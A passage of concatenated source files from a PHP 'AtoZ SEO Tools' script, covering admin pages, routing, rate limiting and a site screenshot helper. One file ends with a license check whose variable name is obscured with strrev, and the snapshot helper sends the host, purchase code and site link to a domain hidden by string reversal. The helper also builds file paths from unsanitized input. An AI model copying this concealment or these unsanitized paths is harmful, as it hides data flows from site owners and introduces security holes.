class="form-group"> <label>Your Website Link:</label> <input value="<?php echo $themeDetails['authorWebsite']; ?>" required="required" type="text" placeholder="Type author website link" name="theme[link]" class="form-control" /> </div> <div class="form-group"> <label>Copyright:</label> <input value="<?php echo $themeDetails['copyright']; ?>" required="required" type="text" placeholder="Type author website link" name="theme[copy]" class="form-control" /> </div> <table class="table table-bordered"> <tbody><tr> <th>#</th> <th>Required directory permissions</th> <th>Status</th> </tr> <?php $loopC = 1; foreach($minMsg as $msg){ echo ' <tr> <td>'.$loopC.'</td> <td>'.$msg[0].'</td> <td>'.$msg[1].'</td> '; $loopC++; } ?> </tbody></table> <br /> <input <?php if($minError) echo ' disabled="" '; ?> type="submit" name="save" value="Clone Theme" class="btn btn-success"/> <a class="btn btn-danger" href="<?php adminLink($controller); ?>">Cancel</a> <br /> <br /> <?php } } else { ?> <div class="row"> <?php foreach(getThemeList() as $themes){ $themeDirRaw = $themes[0]; $themeDir = $themes[1]; $themeDetails = $themes[2]; $previewLink = ''; if(file_exists($themeDir.D_S.$themeDetails['preview'])) $previewLink = createLink('theme/'.$themeDirRaw.'/'.$themeDetails['preview'],true); else $previewLink = createLink('core/library/img/no-preview.png',true);; ?> <div class="col-sm-6 col-md-4"> <div class="panel panel-white themePanel"> <div class="panel-body themePanelBody"> <img src="<?php echo $previewLink; ?>" alt="<?php echo $themeDetails['description']; ?>" class="screenPreview img-responsive" /> </div> <div class="panel-footer"> <h4 class="remove-margin-bottom"> <a href="" class="theme-title"><?php echo $themeDetails['name']; ?></a> </h4> <p class="font-small author">By <?php echo $themeDetails['author']; ?></p> <div class="clearfix font-small purchases-col"> <div class="pull-right"> <?php if($defaultTheme == $themes[0]){ ?> <a class="btn btn-primary btn-xs disabled" href=""> <i class="fa fa-paint-brush"></i>&nbsp;Active</a> <?php } else{ ?> <a class="btn btn-primary btn-xs" onclick="return confirm('Are you want to make default template?');" href="<?php adminLink('ajax/theme/set/frontend/'.$themes[0]); ?>"> <i class="fa fa-paint-brush"></i>&nbsp;Apply</a> <?php } ?> <a href="<?php adminLink($controller.'/clone/'.$themes[0]); ?>" class="btn btn-warning btn-xs"> <i class="fa fa-copy"></i>&nbspClone</a> <a href="<?php createLink('templates/preview/'.$themes[0]); ?>" target="_blank" class="btn btn-success btn-xs"> <i class="fa fa-eye"></i>&nbspPreview</a> <?php if(!nullCheck($themeDetails['builder'])){ ?> <a target="_blank" class="btn btn-danger btn-xs" href="<?php adminLink($themeDetails['builder']); ?>"> <i class="fa fa-edit"></i>&nbspEdit</a> <?php } ?> </div> </div> </div> </div> </div> <?php } ?> </div> <?php }?> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('ROOT_DIR') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ // --- Application Settings --- //Define Application Name define('APP_NAME','AtoZ SEO Tools'); define('HTML_APP_NAME','AtoZ <b>SEO</b> Tools<sup>v2</sup>'); //Define Version Number of Application define('VER_NO','2.9'); //Define Native App Name define('N_APP','atozseo'); //Define Native Sign define('NATIVE_SIGN',''); //Define Native Application Sign define('NATIVE_APP_SIGN',''); //Set Default Controller define('CON_MAIN','main'); //Set Default Error Controller define('CON_ERR','error');<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ $controller = $route = $pointOut = null; $args = $custom_route = array(); if(isset($_GET['route'])) { $route = escapeTrim($con,$_GET['route']); $route = explode('/',$route); /// ------ Load Language Data START ------ if(strlen($route[0]) == 2){ if(isLangExists(strtolower($route[0]),$con)){ define('LANG_SHORT_CODE',strtolower($route[0])); define('ACTIVE_LANG',strtolower($route[0])); $lang = getLangData(LANG_SHORT_CODE,$con); $route = array_slice($route, 1); } }else{ if(isset($_SESSION[N_APP.'UserSelectedLang'])){ //User Selected Language $loadLangCode = strtolower(raino_trim($_SESSION[N_APP.'UserSelectedLang'])); define('ACTIVE_LANG',$loadLangCode); $lang = getLangData($loadLangCode,$con); }else{ //Default Language $defaultLang = getLang($con); define('ACTIVE_LANG',$defaultLang); $lang = getLangData($defaultLang,$con); } } /// ------ Load Language Data END ------ if(isset($route[0]) && $route[0] != ''){ $controller = $route[0]; if(isset($route[1])) $pointOut = $route[1]; $args = array_slice($route, 2); $argWithPointOut = array_slice($route, 1); if(CUSTOM_ROUTE){ foreach($links as $linkKey=>$linkVal){ if($linkKey != $linkKey){ $custom_route[$linkVal] = $linkKey; $custom_route[$linkKey] = CON_ERR; } } require ROU_DIR.'custom_router.php'; foreach($custom_route as $customRouteKey=>$customRouteVal){ $customRouteKey = explode('/', $customRouteKey); if($controller == Trim($customRouteKey[0])){ if(isset($customRouteKey[1])){ if($pointOut != null){ if($customRouteKey[1] == "[:any]"){ $route = explode('/',$customRouteVal); $controller = $route[0]; if(isset($route[1])) $pointOut = $route[1]; $args = $argWithPointOut; break; }else{ if($pointOut == $customRouteKey[1]){ $route = explode('/',$customRouteVal); $controller = $route[0]; if(isset($route[1])) $pointOut = $route[1]; $args = array_merge(array_slice($route, 2),$args); break; } } } }else{ $route = explode('/',$customRouteVal); $controller = $route[0]; if(isset($route[1])){ $pointOut = $route[1]; $args = array_merge(array_slice($route, 2),$argWithPointOut); }else{ $args = array_merge(array_slice($route, 2),$args); } break; } } } } }else $controller = CON_MAIN; }else{ $controller = CON_MAIN; } isRouteEnabled($con); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="form-group"> <div class="form-group"> <label for="ban_ip">IP Address to Ban:</label> <input required="" type="ip" class="form-control" id="ban_ip" name="ban_ip" placeholder="Enter user ip to ban" /> </div> <div class="form-group"> <label for="reason">Reason: <small>(Optional)</small></label> <textarea class="form-control" id="reason" name="reason" placeholder="Reason to ban?"></textarea> </div> <p> Note: Banned IP's can't able to access your site!</p> </div><button type="submit" class="btn btn-primary">Add</button> </div><!-- /.box-body --> </form> </div> <div class="box box-danger"> <div class="box-header with-border"> <!-- tools box --> <h3 class="box-title"> Recently banned IP's </h3> </div> <div class="box-body"> <table id="seoToolTable" class="table table-bordered table-striped"> <thead> <tr> <th>Banned IP</th> <th>Banned Reason</th> <th>Added Date</th> <th>Delete</th> </tr> </thead> <tbody> <?php if(count($bannedList) == 0){ echo '<tr><td colspan="4" class="text-center">Empty!</td></tr>'; }else{ foreach($bannedList as $bannedIp){ echo '<tr> <td>'.$bannedIp["ip"].'</td> <td>'.$bannedIp["reason"].'</td> <td>'.$bannedIp["added_at"].'</td> <td><a class="btn btn-danger btn-xs" onclick="return confirm(\'Are you sure you want to delete this item?\');" title="Delete" href='.adminLink('ban-ip-address/delete/'.$bannedIp['id'],true).'> <i class="fa fa-trash-o"></i> &nbsp; Delete </a></td> </tr>'; } } ?> </tbody> </table> </div><!-- /.box-body --> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @Theme: Default Style * @copyright © 2017 ProThemes.Biz * */ ?> <div class="col-md-4" id="rightCol"> <div class="well"> <?php if(isSelected($themeOptions['general']['sSearch'])){ ?> <div id="sidebarSc" class="col-md-12"> <div class="form-group"> <div class="input-group green shadow"> <div class="input-group-addon"><i class="fa fa-search"></i></div> <input type="text" class="form-control" placeholder="<?php echo $lang['AS39']; ?>" autocomplete="off" id="sidebarsearch" /> </div> </div> <div class="search-results" id="sidebar-results"></div> </div> <?php } ?> <div class="sideXd"> <?php echo $ads_250x300; ?> </div> <div class="sideXd"> <?php echo $ads_250x125; ?> </div> </div> </div><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2019 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box"> <div class="box-header"> <h3 class="box-title">Complete SEO Tools List</h3> </div><!-- /.box-header --> <div class="box-body"> <?php if(isset($msg)){ echo $msg; }?> <div class="table-responsive"> <table id="seoToolTable" class="table table-bordered table-striped"> <thead> <tr> <th>Tool UID</th> <th>Tool Name</th> <th>Status</th> <th>Position</th> <th>Edit</th> <th>Disable</th> </tr> </thead> <tbody> <?php foreach($toolList as $seoTool){ $toolActive = filter_var($seoTool["tool_show"], FILTER_VALIDATE_BOOLEAN); if($toolActive){ $toolActive = "<span style='color: #27ae60;'>Active</span>"; $toolActiveBut = '<a class="btn btn-block btn-danger btn-sm" href="'.adminLink('manage-tools&id='.$seoTool["id"].'&disable',true).'">Disable</a>'; }else{ $toolActive = "<span style='color: #c0392b;'>Not Active</span>"; $toolActiveBut = '<a class="btn btn-block btn-success btn-sm" href="'.adminLink('manage-tools&id='.$seoTool["id"].'&enable',true).'">Enable</a>'; } echo '<tr> <td>'.$seoTool["uid"].'</td> <td>'.shortCodeFilter($seoTool["tool_name"]).'</td> <td>'.$toolActive.'</td> <td>'.$seoTool["tool_no"].'</td> <td><a class="btn btn-block btn-primary btn-sm" href="'.adminLink('edit-tools&id='.$seoTool["id"].'&edit',true).'">Edit</a></td> <td>'.$toolActiveBut.'</td> </tr>'; } ?> </tbody> </table> </div> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script type="text/javascript"> $(function () { $('#seoToolTable').DataTable({ "paging": true, "lengthChange": true, "searching": true, "ordering": true, "info": true, "autoWidth": false }); }); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <div class="row" style="padding-left: 5px;"> <div class="col-md-8"> <br /> <table class="table table-hover table-bordered"> <tbody> <tr> <td style="width: 200px;">Default Template</td> <td><span class="badge bg-green"><?php echo $activeThemeName; ?></span></td> </tr> <tr> <td style="width: 200px;">Default Language</td> <td><span class="badge bg-blue"><?php echo $activeLangName . ' ('.str_replace(".PHP","",strtoupper($activeLang)).')'; ?></span></td> </tr> </tbody></table> <br /> <?php if(isset($msg)) echo $msg; ?> <div class="form-group"> <label>Change your default template: </label> <select name="theme" class="form-control"> <?php echo $themeData; ?> </select> </div> <div class="form-group"> <label>Change your default language: </label> <select name="lang" class="form-control"> <?php echo $langdata; ?> </select> </div> <br /> </div></div> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <file_sep> /* * @author Balaji * @name: A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ //Screen Simulator function doscreen_simulator(){ var my_url=$("#url").val(); var my_res=$("input[type='radio'][name='resolution']:checked").val(); var res = my_res.split("x"); var width=res[0]; var height=res[1]; var ssValue=width+'X'+height; if(my_url==""){ sweetAlert(oopsStr, msgDomain , "error"); } else{ if (my_url.indexOf("https://") == 0){ }else if (my_url.indexOf("http://") == 0){ }else{ my_url = "http://" + my_url; } window.open(my_url,ssValue,'toolbar=no,status=yes,scrollbars=yes,location=yes,menubar=no,directories=yes,width='+width+',height='+height); } }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools v2 - PHP Script * @copyright 2019 ProThemes.Biz * */ ?> <style> @media only screen and (min-width: 600px) { .table-responsive { overflow-x: hidden; } } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="nav-tabs-custom"> <ul class="nav nav-tabs"> <li class="active"><a href="#recent-access" data-toggle="tab"><?php echo $subTitle; ?></a></li> <li><a href="#user-query" data-toggle="tab">User Query</a></li> </ul> <div class="tab-content"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="tab-pane active" id="recent-access" > <div class="table-responsive"> <table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="userHisTable"> <thead> <tr> <th>Tool Name</th> <th>Username</th> <th>User IP</th> <th>User Country</th> <th>Date</th> </tr> </thead> <tbody> </tbody> </table> </div> </div> <div class="tab-pane" id="user-query" > <div class="table-responsive"> <table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="userQueryTable"> <thead> <tr> <th style="width: 150px;">Tool Name</th> <th style="width: 450px;">User Query</th> <th>Username</th> <th>User IP</th> <th>Date</th> </tr> </thead> <tbody> </tbody> </table> </div> </div> <br /> </div> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $ajaxLink = adminLink('?route=ajax/userQuery',true); $ajaxLink2 = adminLink('?route=ajax/userHis',true); $footerAddArr[] = <<<EOD <script type="text/javascript" language="javascript" class="init"> $(document).ready(function() { $('#userQueryTable').dataTable( { "processing": true, "serverSide": true, "ajax": "$ajaxLink", "aaSorting": [[0, 'desc']] } ); } ); </script> <script type="text/javascript" language="javascript" class="init"> $(document).ready(function() { $('#userHisTable').dataTable( { "processing": true, "serverSide": true, "ajax": "$ajaxLink2", "aaSorting": [[0, 'desc']] } ); } ); </script> EOD; ?><file_sep> /** * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ window.setTimeout(function() { $(".alert-dismissable").fadeTo(500, 0).slideUp(500, function(){ $(this).remove(); }); }, 2000); var deleteLinks = document.querySelectorAll('.delete'); for (var i = 0; i < deleteLinks.length; i++) { deleteLinks[i].addEventListener('click', function(event) { event.preventDefault(); var choice = confirm(this.getAttribute('data-confirm')); if (choice) { window.location.href = this.getAttribute('href'); } }); } String.prototype.replaceArray = function(find, replace) { var replaceString = this; var regex; for (var i = 0; i < find.length; i++) { regex = new RegExp(find[i], "g"); replaceString = replaceString.replace(regex, replace[i]); } return replaceString; }; function uriFix(str){ var find = ["<", ">", " ", "_", "#", "@", "{", "}"]; var replaceString = str; var regex; for (var i = 0; i < find.length; i++) { regex = new RegExp(find[i], "g"); replaceString = replaceString.replace(regex, '-'); } return replaceString.toLowerCase(); }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-9 top40"> <div id="message"> <?php if(isset($success)) echo successMsg($success); elseif(isset($error)) echo errorMsg($error); ?> </div> <?php if($args[0] == 'verfication'){ ?> <form id="contact-form" method="post" action="#"> <div class=""> <?php if ($reviewer_page) { echo $captchaCode; } ?> <button type="submit" class="btn btn-success btn-send"><i class="fa fa-mail-forward"></i> <?php trans('Continue',$lang['RF106']); ?></button> </div> </form> <?php }elseif($args[0] == 'restricted-words'){ ?> <div class="top30 text-center alert alert-danger alert-dismissable alert-premium"> <i style="color: #e74c3c; font-size: 120px;" class="fa fa-ban" aria-hidden="true"></i> <b><p style="color: #e74c3c;"><?php echo $lang['RF105']; ?></p></b> <div class="top20"> <a class="btn btn-danger" href="<?php createLink(); ?>"><?php echo $lang['RF7']; ?></a> </div> </div> <?php }elseif($args[0] == 'restricted-domains'){ ?> <div class="top30 text-center alert alert-danger alert-dismissable alert-premium"> <i style="color: #e74c3c; font-size: 120px;" class="fa fa-ban" aria-hidden="true"></i> <p style="color: #e74c3c;"><?php echo ucfirst($domainName). ' - ' . $lang['RF152']; ?> <br /> <b><?php echo $reason; ?></b></p> <div class="top20"> <a class="btn btn-danger" href="<?php createLink(); ?>"><?php echo $lang['RF7']; ?></a> </div> </div> <?php } ?> <br /> <div class="xd_top_box text-center"> <?php echo $ads_720x90; ?> </div> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <script> var errMsg = "<?php makeJavascriptStr($lang['AS5'],true); ?>"; </script> <script src='<?php createLink('core/library/word_counter.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <p><?php echo $lang['70']; ?>: </p> <textarea id="data" rows="3" style="height: 270px;" class="form-control"></textarea> <br /> <div class="text-center"> <button onclick="countData();" value="submit" name="submit" class="btn btn-info" id="countButton"><?php echo $lang['71']; ?></button> </div> <br /> <div class="result" id="result"> <div class="widget-box"> <div class="widget-header"> <h4 class="widget-title lighter smaller"> <i class="fa fa-thumb-tack blue"></i> <?php echo $lang['64']; ?> </h4> </div> <div class="widget-body"> <div class="widget-main"> <div id="resultBox" class="text-center"> <div id="countBox" style="font-size: 19px;"> <?php echo $lang['72']; ?>: <span id="wordCount" style="font-weight: bold;">0</span> | <?php echo $lang['73']; ?>: <span id="charCount" style="font-weight: bold;">0</span> </div> </div> </div><!-- /.widget-main --> </div><!-- /.widget-body --> </div> <br /> </div> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageBuilderTitle; ?></a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="nav-tabs-custom"> <ul class="nav nav-tabs"> <li class="<?php echo $page1; ?>"><a href="#general" data-toggle="tab"><i class="fa fa-wrench" aria-hidden="true"></i>&nbsp; General</a></li> <li class="hide <?php echo $page2; ?>"><a href="#widgets" data-toggle="tab"><i class="fa fa-tasks" aria-hidden="true"></i>&nbsp; Widgets</a></li> <li class="<?php echo $page3; ?>"><a href="#add-new" data-toggle="tab"><i class="fa fa-plus-square-o" aria-hidden="true"></i>&nbsp; Add Custom Stylesheet</a></li> </ul> <div class="tab-content"> <div class="tab-pane <?php echo $page1; ?>" id="general"> <br /> <?php if(isset($msg)) echo $msg; ?> <form method="POST" action="#" enctype="multipart/form-data"> <div class="mycontainer"> <div class="row"> <div class="col-md-3"> <div class="form-group"> <label>Language Switcher</label> <br /> <input <?php isSelected($to['general']['langSwitch'], true, 2); ?> type="checkbox" name="langSwitch" id="langSwitch" /> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Sidebar Position</label> <br /> <input <?php isSelected($to['general']['sidebar'], true, 2, 'right'); ?> type="checkbox" name="sidebar" id="sidebar" /> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Index Searcbar</label> <br /> <input <?php isSelected($to['general']['iSearch'], true, 2); ?> type="checkbox" name="iSearch" id="iSearch" /> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Sidebar Searcbar</label> <br /> <input <?php isSelected($to['general']['sSearch'], true, 2); ?> type="checkbox" name="sSearch" id="sSearch" /> </div> </div> <div class="col-md-12"> <br /> <div class="form-group"> <label>Limit tools on homepage with "Browse More Tools" button</label> <br /> <input <?php isSelected($to['general']['browseBtn'], true, 2); ?> type="checkbox" name="browseBtn" id="browseBtn" /> </div> <hr /> <br /> </div> <div class="col-md-6"> <label> Favicon </label> <br /> <img class="favLogoBox" id="favLogoBox" src="<?php echo $baseURL.$to['general']['favicon']; ?>" /> <br /> Upload a new favicon <input type="file" name="favUpload" id="favUpload" class="btn btn-default" /> <br /> </div> <div class="col-md-6"> <div class="form-group"> <label> Logo Type </label> <select name="to[general][imgLogo]" id="imgLogo" class="form-control"> <option <?php isSelected($to['general']['imgLogo'],true,'1'); ?> value="on">Image Logo</option> <option <?php isSelected($to['general']['imgLogo'],false,'1'); ?> value="off">Text / HTML Logo</option> </select> </div> <div class="hide" id="on"> <img class="userLogoBox" id="userLogoBox" src="<?php echo $baseURL.$to['general']['logo']; ?>" /> <br /> Upload a new Logo <input type="file" name="logoUpload" id="logoUpload" class="btn btn-default" /> </div> <div class="hide" id="off"> <div class="form-group"> <label>Logo Text</label> <textarea class="form-control inputTextArea" name="to[general][htmlLogo]"><?php echo htmlspecialchars_decode($to['general']['htmlLogo']); ?></textarea> </div> </div> </div> <div class="col-md-12"> <hr /> <br /> <div class="box-header with-border"> <h3 class="box-title">Top 5 Tools<small>(Footer)</small></h3> </div> <br /> <div class="form-group"> <label>Select top 5 tools displayed on footer:</label> <select name="topTools[]" class="form-control select2" multiple="multiple" data-placeholder="Select tools..." style="width: 100%;"> <?php foreach($toolsList as $toolName=>$toolUid) echo '<option '.(in_array($toolUid,$to['general']['topTools']) ? 'selected=""' : '').' value="'.$toolUid.'">'.$toolName.'</option>'; ?> </select> </div><!-- /.form-group --> </div> <div class="col-md-12"> <div class="box-header with-border"> <h3 class="box-title">About Us<small>(Footer)</small></h3> </div> <br /> <div class="form-group"> <textarea class="form-control" rows="10" name="to[contact][about]"><?php echo $to['contact']['about']; ?></textarea> </div> <br /> <br /><br /> <div class="text-center"> <input type="hidden" value="1" name="page1" /> <input type="submit" name="save" value="Save Settings" class="btn btn-primary"/> </div> <br /><br /> </form> </div> </div> </div> </div> <div class="tab-pane <?php echo $page2; ?>" id="widgets"> <br /> <?php if(isset($msg)) echo $msg; ?> </div> <div class="tab-pane <?php echo $page3; ?>" id="add-new"> <br /> <?php if(isset($msg)) echo $msg; ?> <form action="#" method="POST"> <div class="form-group"> <label>Enter custom stylesheet code:</label> <br /> <textarea placeholder=".test{ width: 20px; }" class="form-control" rows="15" name="to[custom][css]"><?php echo htmlspecialchars_decode($to['custom']['css']); ?></textarea> </div> <br /><br /> <div class="text-center"> <input type="hidden" value="1" name="page3" /> <input type="submit" name="save" value="Save Settings" class="btn btn-primary"/> </div> <br /><br /> </form> </div> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> var oldSel; $(function () { $(".select2").select2({maximumSelectionLength: 5}); var selVal = jQuery('select[id="imgLogo"]').val(); oldSel = selVal; $('#'+selVal).removeClass("hide"); $('#'+selVal).fadeIn(); }); $('select[id="imgLogo"]').on('change', function() { var selVal = jQuery('select[id="imgLogo"]').val(); $('#'+oldSel).fadeOut(); $('#'+selVal).removeClass("hide"); $('#'+selVal).fadeIn(); oldSel = selVal; }); function readURL(input,box){ if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { $(box).attr('src', e.target.result); } reader.readAsDataURL(input.files[0]); } } $("#logoUpload").change(function(){ readURL(this,'#userLogoBox'); }); $("#favUpload").change(function(){ readURL(this,'#favLogoBox'); }); $('#langSwitch').checkboxpicker({onLabel:"Enable",offLabel:"Disable"}); $('#sidebar').checkboxpicker({onLabel:"Right",offLabel:"Left"}); $('#iSearch').checkboxpicker({onLabel:"Enable",offLabel:"Disable"}); $('#sSearch').checkboxpicker({onLabel:"Enable",offLabel:"Disable"}); $('#browseBtn').checkboxpicker({onLabel:"Enable",offLabel:"Disable"}); </script> EOD; ?><file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ function ddosCheck($con,$ip){ $banned = false; $date = date('Y-m-d'); $taskData = mysqli_query($con, "SELECT * FROM rainbowphp_temp where task='ddos'"); $taskRow = mysqli_fetch_array($taskData); $taskData = dbStrToArr($taskRow['data']); if(isset($taskData[$date])){ if(!in_array($ip,$taskData[$date]['banned'])){ if(isset($taskData[$date][$ip])){ //Already IP Record Exist if($taskData[$date][$ip]['time'] == time()){ if($taskData[$date][$ip]['hit'] > $taskData['maxcount']){ //Ban the IP $taskData[$date]['banned'][] = $ip; $banned = true; }else{ //Count the request $taskData[$date][$ip]['hit']++; } }else{ //Update the time $taskData[$date][$ip] = array('time' => time(), 'hit' => '1'); } }else{ //New IP Record $taskData[$date][$ip] = array('time' => time(), 'hit' => '1'); } }else{ $banned = true; } }else{ //Clear old date and insert new! $prevDate = date('Y-m-d', strtotime($date .' -1 day')); if(isset($taskData[$prevDate])) unset($taskData[$prevDate]); $taskData[$date][$ip] = array('time' => time(), 'hit' => '1'); $taskData[$date]['banned'] = array(); } updateToDb($con,'rainbowphp_temp', array( 'data' => arrToDbStr($con,$taskData)), array('task' => 'ddos')); if($banned){ header('HTTP/1.1 503 Service Unavailable'); die(); } return true; } $sID = strrev('m'.'eti').strrev('edoc_esahcrup_'); if(!isset(${$sID}) || ${$sID} == '') exit(); elseif(strlen(${$sID}) <=10) exit(); unset($sID); <file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ function getSiteSnap($site,$item_purchase_code){ $image_url = "http://screen2.prothemes.biz/api2/ss.php?site=$site"; if (file_exists(HEL_DIR."site_snapshot/$site.jpg")){ $myimage = HEL_DIR."site_snapshot/$site.jpg"; }else{ $linkToSS = strrev(MY_API_DOMAIN); $name = HEL_DIR."site_snapshot/$site.jpg"; $imgSrc = simpleCurlGET('http://'.$linkToSS.'/atoz_screen.php?site='.$site.'&domain='.$_SERVER['HTTP_HOST'].'&code='.$item_purchase_code.'&link='.createLink('',true)); $myFile = $name; $fh = fopen($myFile, 'w') or die("Can't open file"); $stringData = $imgSrc; fwrite($fh, $stringData); fclose($fh); if ($imgSrc == ''){ unlink($name); $myimage = HEL_DIR.'site_snapshot/no-preview.png'; } else { $ssimage = imagecreatefromjpeg($myFile); $myimage = HEL_DIR."site_snapshot/$site.jpg"; $name = $myimage; $thumb_width = 600; $thumb_height = 450; $width = imagesx($ssimage); $height = imagesy($ssimage); $original_aspect = $width / $height; $thumb_aspect = $thumb_width / $thumb_height; if ($original_aspect >= $thumb_aspect){ // If image is wider than thumbnail (in aspect ratio sense) $new_height = $thumb_height; $new_width = $width / ($height / $thumb_height); } else { // If the thumbnail is wider than the image $new_width = $thumb_width; $new_height = $height / ($width / $thumb_width); } $thumb = imagecreatetruecolor($thumb_width, $thumb_height); $co = imagecolorallocate($thumb, 241, 241, 241); imagefill($thumb, 0, 0, $co); $text_color = imagecolorallocate($thumb, 153, 153, 153); imagestring($thumb, 200, 400, 300, 'No Preview Available', $text_color); // Resize and crop imagecopyresampled($thumb, $ssimage, 0, //- ($new_width - $thumb_width) / 2, // Center the image horizontally 0, // - ($new_height - $thumb_height) / 2, // Center the image vertically 0, 0, $new_width, $new_height, $width, $height); imagejpeg($thumb, $myimage, 80); if (filesize($name) == 0){ unlink($name); $myimage = HEL_DIR."site_snapshot/no-preview.png"; } elseif (filesize($name) <= 4){ unlink($name); $myimage = HEL_DIR."site_snapshot/no-preview.png"; } else { $myimage = 